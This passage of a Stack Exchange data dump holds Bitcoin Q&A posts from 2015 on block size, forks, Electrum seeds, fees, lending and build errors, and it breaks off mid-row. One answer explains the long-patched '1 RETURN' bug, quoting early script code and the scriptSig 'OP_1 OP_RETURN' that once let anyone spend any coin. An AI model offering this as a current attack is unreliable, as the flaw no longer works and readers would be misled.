  <row Id="38017" PostTypeId="2" ParentId="38008" CreationDate="2015-06-16T13:42:34.070" Score="2" Body="&lt;p&gt;the linked article is regarding the change of maximum block size from 1MB to 20MB. as you can see &lt;a href=&quot;https://blockchain.info/charts/avg-block-size?timespan=all&amp;amp;showDataPoints=false&amp;amp;daysAverageString=1&amp;amp;show_header=true&amp;amp;scale=0&amp;amp;address=&quot; rel=&quot;nofollow noreferrer&quot;&gt;in this graph from blockchain.info&lt;/a&gt;, blocks have not yet reached the maximum of 1MB:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8JtUM.png&quot; alt=&quot;average block MB&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;blocks are yet to go above 0.55MB, so its really not as urgent of an issue as the article makes out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;eventually though, there will be enough transactions on the bitcoin network to fill up more than 1MB and at that point miners will create blocks bigger than 1MB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in terms of mining effort, the algorithm is identical when hashing (mining) a block with 1 transaction in it or when hashing a block with 1 million transactions in it. this is because the hashing is conducted on the block header which contains a merkle root of all transactions. sure it would take a bit longer to calculate a merkle root for 1 million transactions than it would for a single transaction but both would still take less than 1 second though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;another concern in the article was that the internet bandwidth in china might not be high enough for miners to receive enough transactions to put into a block. firstly i don't think this is a realistic concern - bitcoin blocks are mined on average once every 10 minutes, and i struggle to believe that the internet is so slow in china as to not allow downloading 20MB in 10 minutes. but even if this were a problem, it would just mean that the blocks mined (on full nodes) in china would have fewer transactions than blocks mined elsewhere. the new 20MB blocksize will just be an upper limit - it is not a requirement for all blocks to be 20MB in size! and secondly, transaction fees do not currently make up a huge percentage of the mining reward anyway, so even if bandwidth were a concern the difference in payout would be negligible. for example, the current block reward is 25btc (us$6014) and the contribution due to transaction fees for the latest 3 blocks has been:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;361188 - 0.12673848 btc = us$30.49&#xA;361187 - 0.23697908 btc = us$57.01&#xA;361186 - 0.19895231 btc = us$47.86&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(at the time of writing this 1btc = us$240.59)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Controlled_supply&quot; rel=&quot;nofollow noreferrer&quot;&gt;by 2032&lt;/a&gt; we will reach a block reward of less than 1btc (0.78125btc to be precise) so transaction fees will matter by then. but i would be very surprised if downloading 20MB in 10 minutes will be a problem for any full-node miner at that point in time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;the final thing to note is that miners in china need not be full nodes.&lt;/strong&gt; they can always keep their full node somewhere with faster bandwidth (eg hong-kong) and then just transmit the 32 byte merkle root to the miners in china every time it gets updated with new transactions. this is virtually nothing, and given that its possible to have a phone conversation with somebody in china from the west then it should definitely be feasible for mining.&lt;/p&gt;&#xA;" OwnerUserId="2116" LastEditorUserId="2116" LastEditDate="2015-07-21T08:24:58.550" LastActivityDate="2015-07-21T08:24:58.550" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="38018" PostTypeId="1" CreationDate="2015-06-16T15:12:05.553" Score="1" ViewCount="217" Body="&lt;p&gt;Are there any methods other than RPC command &lt;code&gt;invalidateblock &amp;lt;hash&amp;gt;&lt;/code&gt; for creating forks?&lt;br/&gt;&#xA;I know that forks occur when two miners (nearly) simultanously each generate a block for a previous common block but is this the only natural way to fork the blockchain?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to test blockchain forks with multiple nodes and would like to have one node &lt;strong&gt;intentionally create forks from time to time&lt;/strong&gt;. How can I achieve this? &lt;br/&gt;Do I need to make all nodes generate blocks simultanously and hope that randomly two or more blocks are created at the same time? - This would lead to a mess, right?&lt;/p&gt;&#xA;" OwnerUserId="24556" LastEditorUserId="24556" LastEditDate="2015-06-16T15:19:39.683" LastActivityDate="2015-06-16T15:19:39.683" Title="How to fork blockchain intentionally without RPC commands?" Tags="|json-rpc|blockchain-fork|testing|regtest|selfish-mining|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38019" PostTypeId="1" AcceptedAnswerId="38022" CreationDate="2015-06-16T15:20:59.120" Score="0" ViewCount="2816" Body="&lt;p&gt;What do the red and green blocks mean in this price chart? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mMLfw.png&quot; alt=&quot;Price Chart Bitcoin/USD Bitstamp&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;Source: &lt;a href=&quot;https://www.tradingview.com/chart/JFY9ElUF/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tradingview&lt;/a&gt;&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="24953" LastEditorUserId="5406" LastEditDate="2015-06-16T17:13:33.433" LastActivityDate="2015-06-16T17:13:33.433" Title="What do the red and green blocks mean in a price chart?" Tags="|exchange-rate|charts|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38022" PostTypeId="2" ParentId="38019" CreationDate="2015-06-16T15:47:48.613" Score="3" Body="&lt;ul&gt;&#xA;&lt;li&gt;red block - price was going down&lt;/li&gt;&#xA;&lt;li&gt;green block - price was going up&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2015-06-16T15:47:48.613" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38024" PostTypeId="2" ParentId="12763" CreationDate="2015-06-16T16:45:55.013" Score="6" Body="&lt;p&gt;According to &lt;a href=&quot;http://docs.electrum.org/en/latest/faq.html#can-i-import-private-keys-from-other-bitcoin-clients&quot; rel=&quot;nofollow noreferrer&quot;&gt;this FAQ&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;In Electrum 2.0, you cannot import private keys in a wallet that has a seed. You should sweep them instead.&lt;/p&gt;&#xA;&lt;p&gt;If you want to import private keys and not sweep them you need to create a special wallet that does not have a seed. For this, create a new wallet, select “restore”, and instead of typing your seed, type a list of private keys, or a list of addresses if you want to create a watching-only wallet.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;You can get the private keys from Bitcoin Core using &lt;code&gt;dumpprivkey&lt;/code&gt; as described in &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/5614/using-dumpprivkey-to-make-a-paper-backup&quot;&gt;Using dumpprivkey to make a paper backup&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2017-05-17T23:32:02.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38025" PostTypeId="1" CreationDate="2015-06-16T18:42:20.223" Score="3" ViewCount="768" Body="&lt;p&gt;When one tries to deposit or withdraw, a dropdown list shows several choices, including Perfect Money, MoneyPolo, and OKPAY (and some other ones, including various cellphone-related ones with high fees, which I'm not interested in). If I'm not wrong, Mt. Gox supported OKPAY too, back in the day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anybody tried any of these three and is willing to share their experience? (MoneyPolo and OKPAY are both owned by Mayzus, apparently, but I don't know what differences are there between them).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if anyone knows there's another SE site where this question would be more likely to be answered, or somewhere else where I can find this info, it would be really helpful too.&lt;/p&gt;&#xA;" OwnerUserId="15404" LastEditorUserId="15404" LastEditDate="2015-06-19T17:03:27.863" LastActivityDate="2016-10-27T17:23:27.257" Title="BTC-e funding/withdrawal methods. Anybody tried any of these?" Tags="|btce|withdrawal|funds|" AnswerCount="1" CommentCount="0" ClosedDate="2016-10-27T17:56:10.657" ContentLicense="CC BY-SA 3.0" />
  <row Id="38026" PostTypeId="1" AcceptedAnswerId="38031" CreationDate="2015-06-16T21:22:52.073" Score="0" ViewCount="143" Body="&lt;p&gt;What is the relationship between a miner's hashrate and the &lt;a href=&quot;https://en.bitcoin.it/wiki/Getblocktemplate&quot; rel=&quot;nofollow noreferrer&quot;&gt;getblocktemplate (GBT)&lt;/a&gt; request rate?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;(The question here, &quot;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/3427/4334&quot;&gt;How does the rate of getwork requests correlate with the hashrate of a miner?&lt;/a&gt;,&quot; discusses &lt;a href=&quot;https://en.bitcoin.it/wiki/Getwork&quot; rel=&quot;nofollow noreferrer&quot;&gt;getwork&lt;/a&gt;, but that's outdated.)&lt;/sup&gt;&lt;/p&gt;&#xA;" OwnerUserId="4334" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2016-04-02T09:10:53.317" Title="How does the getblocktemplate request rate correlate with a miner's hashrate?" Tags="|mining-pools|hashpower|getblocktemplate|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38027" PostTypeId="2" ParentId="38011" CreationDate="2015-06-16T21:26:20.483" Score="2" Body="&lt;p&gt;For the purposes of this answer, I'll assume we're only talking about mnemonics which can be &lt;em&gt;generated&lt;/em&gt; by Electrum 2.x, and not ones that are simply accepted by Electrum 2.x for restore (the latter number is infinite).&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;What is the percentage of 12 words Electrum 2.x seeds (relative to 13 word seeds)?&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Electrum 2.x seeds &lt;em&gt;by default&lt;/em&gt; encode 136 bits of data. Any leading zero bits are ignored during encoding, so the resulting mnemonic length varies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each word encodes log&lt;sub&gt;2&lt;/sub&gt;(word_list_length) bits of data, so for most* Electrum 2.x word lists, that's log&lt;sub&gt;2&lt;/sub&gt;(2048) = 11 bits per word.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore 13 and 12-word long mnemonics can encode up to 143 and 132 bits of data respectively. In order for a 136-bit seed to be encoded into 132 bits (12 words), at least the first 4 bits must be zero, which happens with probability 1 in 2&lt;sup&gt;4&lt;/sup&gt;, so &lt;strong&gt;1 in 16&lt;/strong&gt; random mnemonics will be of length 12 &lt;em&gt;or fewer&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Likewise, for an 11-word mnemonic, encoding 136 bits into 121 bits requires that 15 leading bits must be zero, so 1 in 2&lt;sup&gt;15&lt;/sup&gt; or &lt;strong&gt;1 in 32768&lt;/strong&gt; will be of length 11 &lt;em&gt;or fewer&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, if you need an exact answer, it would be &lt;sup&gt;1&lt;/sup&gt;/&lt;sub&gt;16&lt;/sub&gt; - &lt;sup&gt;1&lt;/sup&gt;/&lt;sub&gt;32768&lt;/sub&gt; = &lt;sup&gt;2048&lt;/sup&gt;/&lt;sub&gt;32768&lt;/sub&gt; - &lt;sup&gt;1&lt;/sup&gt;/&lt;sub&gt;32768&lt;/sub&gt; = &lt;strong&gt;2047 in 32768&lt;/strong&gt; will be of length 12 &lt;em&gt;exactly&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;* For the Portuguese word list, it's log&lt;sub&gt;2&lt;/sub&gt;(1626) ≈ 10.67 bits per word&lt;/sub&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol start=&quot;2&quot;&gt;&#xA;  &lt;li&gt;What is the percentage of Electrum 2.x (12 word) seeds which do not meet the BIP39 standard?&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;12-word long BIP-39 mnemonics have &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0039.mediawiki#generating-the-mnemonic&quot; rel=&quot;nofollow&quot;&gt;4 bits of checksum&lt;/a&gt;, so 1 in 2&lt;sup&gt;4&lt;/sup&gt; generated 12-word Electrum 2.x mnemonics will happen to be valid BIP-39 ones, and &lt;strong&gt;15 in 16&lt;/strong&gt; Electrum ones will be invalid for BIP-39.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If all &lt;em&gt;12 word Electrum 2.x&lt;/em&gt; seeds were filtered such that they &lt;strong&gt;are not&lt;/strong&gt; BIP39 compatible, what is the decrease in entropy going to be?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm interpreting this as asking: If valid Electrum 2.x mnemonics were required to be invalid BIP-39 ones, by how much would this decrease their entropy?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wolfram|Alpha says very small: about &lt;a href=&quot;http://www.wolframalpha.com/input/?i=solve++%282%5En+-+1%29+%2F+2%5En+%3D+2047%2F32768+%C3%97+1%2F16++for+n&quot; rel=&quot;nofollow&quot;&gt;0.0056&lt;/a&gt; bits based on this input:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;solve  (2^n - 1) / 2^n = 2047/32768 × 1/16  for n&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="25088" LastActivityDate="2015-06-16T21:26:20.483" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="38028" PostTypeId="1" CreationDate="2015-06-17T01:00:56.110" Score="0" ViewCount="78" Body="&lt;p&gt;I have been thinking a lot about platforms that allow us to borrow/make money. &#xA;Such a platform would be really wonderful, mainly for people in countries such as Brazil, which has high taxes on interest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The problem is the risk.&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read in the news about a guy that did not pay the amount he was supposed to on &lt;a href=&quot;https://btcjam.com&quot; rel=&quot;nofollow&quot;&gt;btcjam&lt;/a&gt;, which was really bad.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Leading to the question: How will we be able to have a more stable and reliable Bitcoin lending service, so that people might trust bitcoins even more?&lt;/p&gt;&#xA;" OwnerDisplayName="user26933" LastEditorUserId="5406" LastEditDate="2015-06-17T12:20:12.983" LastActivityDate="2015-06-17T12:22:46.977" Title="How could Bitcoin lending be secured?" Tags="|banks|contracts|loans|" AnswerCount="1" CommentCount="2" ClosedDate="2015-06-17T14:03:32.637" ContentLicense="CC BY-SA 3.0" />
  <row Id="38029" PostTypeId="1" AcceptedAnswerId="38030" CreationDate="2015-06-17T01:10:18.147" Score="2" ViewCount="296" Body="&lt;p&gt;So I am new to Bitcoin and I run the Bitcoin Core on my computer. I know that you need to wait for your wallet to sync before you can make transactions, but it says it won't finish syncing for 4 years.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if this is a problem and if there is a way to fix it, or I just need to suck it up and wait  for it to finish syncing. I am trying to learn how to mine and I know that I can't use a lite wallet (sorry if that's not what it is called) because large transactions will clog it up. Is there a way that I can fix this or should I just use an online wallet? Thanks for your help&lt;/p&gt;&#xA;" OwnerUserId="26907" LastEditorUserId="5406" LastEditDate="2016-04-10T12:40:12.030" LastActivityDate="2016-04-10T12:40:12.030" Title="Reduce Wallet Sync Time" Tags="|wallet|bitcoin-core|synchronization|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38030" PostTypeId="2" ParentId="38029" CreationDate="2015-06-17T06:07:06.053" Score="3" Body="&lt;p&gt;The &quot;four years&quot; is a description of how far back in time the current synchronization progress is, it won't literally take four years to complete. For most people it will take under a day to completely sync from cold, and there's not really any way of speeding it up. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-06-17T06:07:06.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38031" PostTypeId="2" ParentId="38026" CreationDate="2015-06-17T06:10:45.690" Score="1" Body="&lt;p&gt;There's no relationship. With a single block template mining software can create a limitless amount of work by modifying the extranonce, the only reason they would need to update to a new one is to include transactions that have just arrived, or when someone else has found a block. The reason &lt;code&gt;GetWork&lt;/code&gt; rates varied was that each request was only valid for a single 2**32 nonce range, which a modern ASIC miner can exhaust in milliseconds. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-06-17T06:10:45.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38032" PostTypeId="2" ParentId="9411" CreationDate="2015-06-17T07:49:37.393" Score="0" Body="&lt;p&gt;Think of for example: arbitrage (any type really),market making, dark pool and any good type of algotrading that exchange can implement so that when you hit 'place order' it gets processed by the algo first before it lands in th eorderbook for public.&lt;/p&gt;&#xA;" OwnerUserId="22808" LastActivityDate="2015-06-17T07:49:37.393" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38033" PostTypeId="2" ParentId="37992" CreationDate="2015-06-17T07:50:04.387" Score="1" Body="&lt;p&gt;&lt;code&gt;estimatefee 1&lt;/code&gt; will return the approx. fee per &lt;strong&gt;kilobyte&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because &lt;code&gt;sendtoaddress&lt;/code&gt; could use multiple of your unspent coins, the size of your transaction is not know until it is created (until the coin selection ran). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: Fresh wallet. You did receive 10 times 1 BTC. Now you create a transaction with &lt;code&gt;sendtoaddress &amp;lt;ard&amp;gt; 9.5&lt;/code&gt;. This will produce a transaction with 10 inputs (your received 10 x 1BTC). Therefor the transaction size is bigger than if you would have received 1 x 10BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment there is no easy way of getting the transaction fee before sending the tx (on RPC level). You could use Bitcoin-Qt (there you will see the fee before sending within the confirmation dialog).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a pull request for bitcoin-core that would allow fee calculation before sending the tx: &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/6088&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/pull/6088&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3697" LastActivityDate="2015-06-17T07:50:04.387" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38035" PostTypeId="2" ParentId="37909" CreationDate="2015-06-17T09:05:32.143" Score="1" Body="&lt;p&gt;Well, I can tell you that what you are looking for probably does not exist. I did the same search recently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was in talks with a large company and all they wanted to hear was the Blockchain and how they could use it. They asked to have their own Blockchain -i.e. altcoin. You are probably in a similar situation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best course of action here -in my opinion- is to try to convince them that a Blockchain that they will create is just a more expensive and much more complex version of a Database. And the altcoin will be nothing more than records on that expensive, complex and possibly insecure database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my case I was able to convince them -somewhat- but the response was:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;We still can't use Bitcoin because of internal politics and PR risks&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In the end, I convinced them to use Bitcoin testnet :) I suggest you do the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin testnet is the closest thing to what you are looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not Bitcoin, it doesn't have real value and there are online and mobile wallets built for it. You can also play around with mining on testnet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just call it Testnet instead of Bitcoin Testnet and hope that they will get more comfortable with Bitcoin in time.&lt;/p&gt;&#xA;" OwnerUserId="2995" LastEditorUserId="2995" LastEditDate="2015-06-26T12:02:12.203" LastActivityDate="2015-06-26T12:02:12.203" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="38037" PostTypeId="1" AcceptedAnswerId="38038" CreationDate="2015-06-17T09:58:50.980" Score="11" ViewCount="1643" Body="&lt;p&gt;From Nathaniel Popper's &lt;em&gt;“Digital Gold : Bitcoin and the Inside Story of the Misfits and Millionaires Trying to Reinvent Money&quot;&lt;/em&gt;, this heavily edited (by me, for clarity) excerpt:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;“In late July Gavin and Satoshi got an e-mail from ...a programmer&#xA;  from Germany going by the screen name ArtForz, ... had found a&#xA;  previously undiscovered weakness in the code that ...made it possible&#xA;  to spend Bitcoins in someone else’s wallet.”&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;“For now, don’t call it the ‘1 RETURN’ bug to anyone who doesn’t&#xA;  already know about it,” Satoshi wrote to Gavin.”&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What is this &lt;code&gt;1 RETURN&lt;/code&gt; bug? It's obviously been patched, but I'm interested because the book doesn't delve into technical details. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(FWIW, I highly recommend buying this book).&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2015-06-17T10:15:24.463" Title="What is the &quot;1 RETURN&quot; bug?" Tags="|security|history|weaknesses|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38038" PostTypeId="2" ParentId="38037" CreationDate="2015-06-17T10:15:24.463" Score="11" Body="&lt;p&gt;Have a look at the early sources here: &lt;a href=&quot;http://www.bitcointrading.com/forum/bitcoin-clients/original-bitcoin-source-code-archives/&quot; rel=&quot;noreferrer&quot;&gt;http://www.bitcointrading.com/forum/bitcoin-clients/original-bitcoin-source-code-archives/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;there is a small piece of code in script.cpp:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    case OP_RETURN:&#xA;    {&#xA;        pc = pend;&#xA;    }&#xA;    break;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which allows to spend ANY UTXO with just a very simple scriptSig &lt;code&gt;OP_1 OP_RETURN&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2015-06-17T10:15:24.463" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="38039" PostTypeId="2" ParentId="38028" CreationDate="2015-06-17T12:22:46.977" Score="0" Body="&lt;p&gt;There is currently &lt;strong&gt;no mechanism known&lt;/strong&gt; to enforce loan repayments, as the lending happens on the blockchain and the repayment is tied to an offchain contract.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The revenue of Bitcoins is very high, because the risk of the borrower evading repayment is very high.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2015-06-17T12:22:46.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38040" PostTypeId="5" CreationDate="2015-06-17T12:23:51.290" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-06-17T12:23:51.290" LastActivityDate="2015-06-17T12:23:51.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38041" PostTypeId="4" CreationDate="2015-06-17T12:23:51.290" Score="0" Body="Questions dealing with the obstacles, risks and good case practices of lending/borrowing bitcoins." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-06-17T12:23:51.290" LastActivityDate="2015-06-17T12:23:51.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38042" PostTypeId="2" ParentId="1201" CreationDate="2015-06-17T12:32:22.680" Score="0" Body="&lt;p&gt;There can be more debt denominated in Bitcoin than the 21M limit, as the debt doesn't have to be repaid in a single instance. As the debtor repays, the lender will reinvest the money and the debtor will be able to reappropriate some to make the next repayment.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2015-06-17T12:32:22.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38043" PostTypeId="2" ParentId="37966" CreationDate="2015-06-17T14:25:49.140" Score="2" Body="&lt;p&gt;Your rpcallowip setting is 10.0.2.0, but you listed 10.0.2.2 as the host OS's IP. That could be your issue. &lt;/p&gt;&#xA;" OwnerUserId="21377" LastActivityDate="2015-06-17T14:25:49.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38044" PostTypeId="1" AcceptedAnswerId="38048" CreationDate="2015-06-17T15:07:08.180" Score="1" ViewCount="206" Body="&lt;p&gt;I'm working on a project that involves constructing raw transactions and signing them locally before pushing to the network. I keep getting &lt;code&gt;Unable To Find Transaction Outpoint 1a67415e9f892c31cdaec29f6bf7e8e7ffd5a7cdca52fc565ad345313f85b222:90463999&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my tx hash&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;010000000122b2853f3145d35a56fc52cacda7d5ffe7e8f76b9fc2aecd312c899f5e41671aff5e64058a473044022052576f11b965d4b0a712b91e04377e25acebfad8093f3296deecb05ad429281502201ede7fb35f495985bb67d302465c6419fc1c683d26f7111d4e70cceac2dc86910141047920bd57b7b0dbf7ac242879ee1f1c4b87cbe30a1c31baa4d111850865042415d84f0a433174b3b17f41e280bfef85ff885dd8a1f25bf0823cfd77ec81bfc080ffffffff0101000000000000001976a914221382696ab041ff0bce2aceeea15132d9336fd488ac00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which decodes to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;   &quot;lock_time&quot;:0,&#xA;   &quot;size&quot;:223,&#xA;   &quot;inputs&quot;:[&#xA;      {&#xA;         &quot;prev_out&quot;:{&#xA;            &quot;index&quot;:90463999,&#xA;            &quot;hash&quot;:&quot;1a67415e9f892c31cdaec29f6bf7e8e7ffd5a7cdca52fc565ad345313f85b222&quot;&#xA;         },&#xA;         &quot;script&quot;:&quot;473044022052576f11b965d4b0a712b91e04377e25acebfad8093f3296deecb05ad429281502201ede7fb35f495985bb67d302465c6419fc1c683d26f7111d4e70cceac2dc86910141047920bd57b7b0dbf7ac242879ee1f1c4b87cbe30a1c31baa4d111850865042415d84f0a433174b3b17f41e280bfef85ff885dd8a1f25bf0823cfd77ec81bfc080&quot;&#xA;      }&#xA;   ],&#xA;   &quot;version&quot;:1,&#xA;   &quot;vin_sz&quot;:1,&#xA;   &quot;hash&quot;:&quot;a1981a142ba4966939d27e2cb78ae0a4d9550c91448105defdbed7ec71f2b351&quot;,&#xA;   &quot;vout_sz&quot;:1,&#xA;   &quot;out&quot;:[&#xA;      {&#xA;         &quot;script_string&quot;:&quot;OP_DUP OP_HASH160 221382696ab041ff0bce2aceeea15132d9336fd4 OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;         &quot;address&quot;:&quot;147BM4WmH17PPxhiH1kyNppWuyCAwn3Jm4&quot;,&#xA;         &quot;value&quot;:1,&#xA;         &quot;script&quot;:&quot;76a914221382696ab041ff0bce2aceeea15132d9336fd488ac&quot;&#xA;      }&#xA;   ]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which seems to match the unspent ountput I see here: &lt;a href=&quot;https://blockchain.info/unspent?address=1LCrg6DSqbcK5vh7XRAGEQA4jBpNigjwyV&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/unspent?address=1LCrg6DSqbcK5vh7XRAGEQA4jBpNigjwyV&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="18985" LastActivityDate="2015-06-17T15:42:35.987" Title="Unable To Find Transaction Outpoint" Tags="|transactions|utxo|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38046" PostTypeId="1" AcceptedAnswerId="38059" CreationDate="2015-06-17T15:22:40.513" Score="1" ViewCount="800" Body="&lt;p&gt;i am attempting to upgrade my bitcoin client on debian wheezy. i have been following &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/doc/build-unix.md&quot; rel=&quot;nofollow&quot;&gt;the docs for this version&lt;/a&gt; and i installed berkley db to &lt;code&gt;${BITCOIN_ROOT}/db4&lt;/code&gt; as directed. that went fine, but now when i run &lt;code&gt;./configure&lt;/code&gt; it says the wrong version of berkleydb is installed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;checking whether C++ compiler accepts -fvisibility=hidden... yes&#xA;checking for Berkeley DB C++ headers... default&#xA;configure: error: Found Berkeley DB other than 4.8, required for portable wallets (--with-incompatible-bdb to ignore or --disable-wallet to disable wallet functionality)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i also found that &lt;code&gt;autogen.sh&lt;/code&gt; does not exist in the bitcoin root dir so i was unable to run it as per the instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i already have berkley db 5 installed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ dpkg -l | grep db5&#xA;ii  db5.1-util                                   5.1.29-5                           amd64        Berkeley v5.1 Database Utilities&#xA;ii  libdb5.1:amd64                               5.1.29-5                           amd64        Berkeley v5.1 Database Libraries [runtime]&#xA;ii  libdb5.1++:amd64                             5.1.29-5                           amd64        Berkeley v5.1 Database Libraries for C++ [runtime]&#xA;ii  libdb5.1++-dev                               